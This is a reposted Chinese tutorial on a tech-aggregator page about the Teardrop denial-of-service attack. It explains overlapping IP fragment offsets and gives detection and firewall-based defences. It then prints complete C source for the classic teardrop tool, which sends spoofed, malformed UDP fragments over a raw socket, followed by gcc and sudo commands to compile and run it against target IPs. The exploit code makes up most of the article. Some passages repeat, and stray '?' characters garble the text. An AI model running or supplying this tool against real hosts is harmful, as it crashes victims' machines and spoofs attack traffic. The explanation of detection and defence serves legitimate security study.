IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 网络协议 -> 什么是Teardrop攻击?我们要如何防御Teardrop攻击? -> 正文阅读

[网络协议]什么是Teardrop攻击?我们要如何防御Teardrop攻击?

Teardrop攻击是一种拒绝服务攻击,是一种基于UDP的病态分片数据包的攻击方法,英文“Tear”是“眼泪”的意思,“drop”是“掉落”的意思,顾名思义,Teardrop攻击是一种令人落泪的攻击手段,可见其破坏威力很强大?

主要针对早期微软操作系统(95、98、3.x、nt)近些年有人发现对 2.x 版本的安卓系统、6.0 IOS 系统攻击有效?

攻击效果

被攻击者会出现蓝屏、重启、卡死等情况

1、Teardrop攻击原理

Teardrop攻击工作原理是攻击者A给受害者B发送一些分片IP报文,并且故意将“13位分片偏移”字段设置成错误的值(既可与上一分片数据重叠,也可错开),B在组合这种含有重叠偏移的伪造分片报文时,某些操作系统收到含有重叠偏移的伪

Teardrop攻击是一种拒绝服务攻击,是一种基于UDP的病态分片数据包的攻击方法,英文“Tear”是“眼泪”的意思,“drop”是“掉落”的意思,顾名思义,Teardrop攻击是一种令人落泪的攻击手段,可见其破坏威力很强大?

主要针对早期微软操作系统(95、98、3.x、nt)近些年有人发现对 2.x 版本的安卓系统、6.0 IOS 系统攻击有效?

利用UDP包重组时重叠偏移(假设数据包中第二片IP包的偏移量小于第一片结束的位移,而且算上第二片IP包的Data,也未超过第一片的尾部,这就是重叠现象。)的漏洞对系统主机发动拒绝服务攻击,最终导致主机宕机;对于Windows系统会导致蓝屏死机,并显示STOP 0x0000000A错误。

2、检测方法

对接收到的分片数据包进行分析,计算数据包的片偏移量(Offset)是否有误。

  1. Teardrop攻击防御方法

网络安全设备将接收到的分片报文先放入缓存中,并根据源IP地址和目的IP地址对报文进行分组,源IP地址和目的IP地址均相同的报文归入同一组,然后对每组IP报文的相关分片信息进行检查,丢弃分片信息存在错误的报文。为了防止缓存溢出,当缓存快要存满时,直接丢弃后续分片报文。

反攻击方法:添加系统补丁程序,丢弃收到的病态分片数据包并对这种攻击进行审计。尽可能采用最新的操作系统,或者在防火墙上设置分段重组功能,由防火墙先接收到同一原包中的所有拆分数据包,然后完成重组工作,而不是直接转发。因为防火墙上可以设置当出现重叠字段时所采用的规则

MAC头(帧头):14个字节,包括目标mac6字节,源mac6字节,上层协议2字节
FCS:帧校验序列,4个字节ip头:源ip和目标ip,20字节
Ping大包,比较正常分段与teardrop攻击流量的区别

ping -l 4000 192.168.199.158


针对早期windows系统SMB协议的攻击

teardrop_smb.py


针对Android.IOS 系统的攻击

teardrop_androidios.py
攻击向量并不确定,要视具体协议分析?

  1. 攻击目标
    泪滴攻击是一种拒绝服务(DoS)攻击,涉及将碎片数据包发送到目标机器。由于接收这些数据包的机器由于TCP / IP碎片重组错误而无法重新组装,因此数据包相互重叠,导致目标网络设备崩溃。这通常发生在较早的操作系统上,例如Windows 3.1x,Windows 95,Windows NT和2.1.63之前版本的Linux内核。

IP报头中的一个字段是“片段偏移量”字段,指示包含在分段数据包中的数据相对于原始数据包中的数据的起始位置或偏移量。如果一个分片数据包的偏移量和大小之和不同于下一个分片数据包的偏移量和大小之和,则数据包重叠。发生这种情况时,易受泪滴攻击的服务器无法重新组装数据包 ,从而导致拒绝服务状况。?

5、编写Teardrop程序(创建一个虚假的IP数据包)

1)、在?Ubuntu?系统下,创建一个?Teardrop.c?文件,写入如下内容:

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#include <string.h>

#include <netdb.h>

#include <netinet/in.h>

#include <netinet/udp.h>

#include <arpa/inet.h>

#include <sys/types.h>

#include <sys/time.h>

#include <sys/socket.h>

#include <errno.h>

#ifdef STRANGE_BSD_BYTE_ORDERING_THING

/* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 */

#define FIX(n) ?(n)

#else ?

/* OpenBSD 2.1, all Linux */

#define FIX(n) ?htons(n)

#endif ?/* STRANGE_BSD_BYTE_ORDERING_THING */

#define IP_MF 0x2000 ?/* More IP fragment en route */

#define IPH 0x14 ???/* IP header size */

#define UDPH 0x8 ????/* UDP header size */

#define PADDING ?0x1c ???/* datagram frame padding for first packet */

#define MAGIC ?0x3 ????/* Magic Fragment Constant (tm). ?Should be 2 or 3 */

#define COUNT 0x1 ?????/* Linux dies with 1, NT is more stalwart and can

????????????????????????* withstand maybe 5 or 10 sometimes... ?Experiment.*/

????????????????????

void usage(u_char *);

u_long name_resolve(u_char *);

void send_frags(int, u_long, u_long, u_short, u_short);

int main(int argc, char **argv)

{

????int one = 1, count = 0, i, rip_sock;

????// 定义源地址和目的地址

????u_long src_ip = 0, dst_ip = 0;

????// 定义源端口和目的端口

????u_short src_prt = 0, dst_prt = 0;

????// 定义一个32位的IPv4地址

????struct in_addr addr;

????printf("teardrop route|daemon9\n\n");

????//创建原始套接字

????if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)

????{

????????fprintf(stderr, "raw socket");

????????exit(1);

????}

????//设置套接字选项IP_HDRINCL

????if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL,

????(char *)&one, sizeof(one))< 0)

????{

????????fprintf(stderr, "IP_HDRINCL");

????????exit(1);

????}

????if (argc < 3)

????????usage(argv[0]);

????// 设置源IP 和 目的IP

????if(!(src_ip=name_resolve(argv[1]))||!(dst_ip = name_resolve(argv[2])))

????{

????????fprintf(stderr, "What the hell kind of IP address is that?\n");

????????exit(1);

????}

????while ((i = getopt(argc, argv, "s:t:n:")) != EOF)

????{

????????switch (i)

????????{

????????????case 's': // source port (should be emphemeral)

????????????src_prt = (u_short)atoi(optarg);

????????????break;

????????????case 't': // dest port (DNS, anyone?)

????????????dst_prt = (u_short)atoi(optarg);

????????????break;

????????????case 'n': // number to send

????????????count = atoi(optarg);

????????????break;

????????????default :

????????????usage(argv[0]);

????????????break; // NOTREACHED

????????}

????}

????srandom((unsigned)(utimes("0",(time_t)0)));

????if (!src_prt) src_prt = (random() % 0xffff);

????if (!dst_prt) dst_prt = (random() % 0xffff);

????if (!count)

????count = COUNT;

????printf("Death on flaxen wings:\n");

????addr.s_addr = src_ip;

????printf("From: %15s.%5d\n", inet_ntoa(addr), src_prt);

????addr.s_addr = dst_ip;

????printf(" To: %15s.%5d\n", inet_ntoa(addr), dst_prt);

????printf(" Amt: %5d\n", count);

????printf("[\n ");

????for (i = 0; i < count; i++)

????{

????????send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);

????????// printf("b00m ");

????????usleep(500);

????}

????printf("]\n");

????return (0);

}

// 设置 IP 包的内容

void send_frags(int sock, u_long src_ip, u_long dst_ip,u_short src_prt,u_short dst_prt)

{

????u_char *packet = NULL, *p_ptr = NULL, *flag = NULL; // packet pointers

????u_char byte; // a byte

????// 套接字地址结构

????struct sockaddr_in sin; /* socket protocol structure */

????sin.sin_family = AF_INET;

????sin.sin_port = src_prt;

????sin.sin_addr.s_addr = dst_ip;

????packet = (u_char *)malloc(IPH + UDPH + PADDING);

????p_ptr = packet;

????flag = packet;

????bzero((u_char *)p_ptr, IPH + UDPH + PADDING);

????// IP version and header length

????byte = 0x45;

????memcpy(p_ptr, &byte, sizeof(u_char));

????p_ptr += 2; // IP TOS (skipped)

????// total length

????*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING);

????p_ptr += 2;

????*((u_short *)p_ptr) = htons(242); // IP id

????p_ptr += 2;

????//IP frag flags and offset

????*((u_short *)p_ptr) |= FIX(IP_MF);

????p_ptr += 2;

????*((u_short *)p_ptr) = 0x40; // IP TTL

????byte = IPPROTO_UDP;

????memcpy(p_ptr + 1, &byte, sizeof(u_char));

????// IP checksum filled in by kernel

????p_ptr += 4;

????// IP source address

????*((u_long *)p_ptr) = src_ip;

????p_ptr += 4;

????// IP destination address

????*((u_long *)p_ptr) = dst_ip;

????p_ptr += 4;

????*((u_short *)p_ptr) = htons(src_prt); // UDP source port

????p_ptr += 2;

????*((u_short *)p_ptr) = htons(dst_prt); // UDP destination port

????p_ptr += 2;

????*((u_short *)p_ptr) = htons(PADDING); // UDP total length

????p_ptr += 4;

????

????// 发送数据:Fake News

????*((u_short *)p_ptr) = 0x46;

????p_ptr++;

????*((u_short *)p_ptr) = 0x61;

????p_ptr++;

????*((u_short *)p_ptr) = 0x6B;

????p_ptr++;

????*((u_short *)p_ptr) = 0x65;

????p_ptr++;

????*((u_short *)p_ptr) = 0x20;

????p_ptr++;

????*((u_short *)p_ptr) = 0x4E;

????p_ptr++;

????*((u_short *)p_ptr) = 0x65;

????p_ptr++;

????*((u_short *)p_ptr) = 0x77;

????p_ptr++;

????*((u_short *)p_ptr) = 0x73;

????int i=1;

????while(i <= 56)

????{

printf("%x\t",*flag);

flag++;

????????if(0 == i%8)

????printf("\n");

????????i++;

????}

????if (sendto(sock, packet, IPH + UDPH + PADDING, 0,

????(struct sockaddr *)&sin,sizeof(struct sockaddr)) == -1)

????{

????????fprintf(stderr, "\nsendto");

????????free(packet);

????????exit(1);

????}

????// IP total length is 2 bytes into the header

????p_ptr = &packet[2];

????*((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);

????// IP offset is 6 bytes into the header

????p_ptr += 4;

????*((u_short *)p_ptr) = FIX(MAGIC);

????if (sendto(sock, packet, IPH+MAGIC+1, 0,

????(struct sockaddr *)&sin,sizeof(struct sockaddr)) == -1)

????{

????????fprintf(stderr, "\nsendto");

????????free(packet);

????????exit(1);

????}

????free(packet);

}

// 获取主机信息

u_long name_resolve(u_char *host_name)

{

????struct in_addr addr;

????struct hostent *host_ent;

????if ((addr.s_addr = inet_addr(host_name)) == -1)

????{

????????if (!(host_ent = gethostbyname(host_name))) return (0);

????????????bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length);

????}

????return (addr.s_addr);

}

void usage(u_char *name)

{

????fprintf(stderr, "%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",name);

????exit(0);

}

  1. 编译运行

gcc Teardrop.c -o Teardrop

sudo ./Teardrop 100.100.100.100 200.200.200.200

?

?

?

?

  网络协议 最新文章
使用Easyswoole 搭建简单的Websoket服务
常见的数据通信方式有哪些?
Openssl 1024bit RSA算法---公私钥获取和处
HTTPS协议的密钥交换流程
《小白WEB安全入门》03. 漏洞篇
HttpRunner4.x 安装与使用
2021-07-04
手写RPC学习笔记
K8S高可用版本部署
mySQL计算IP地址范围
上一篇文章      下一篇文章      查看所有文章
加:2021-11-14 22:06:46  更:2021-11-14 22:08:18 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/26 5:34:47-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码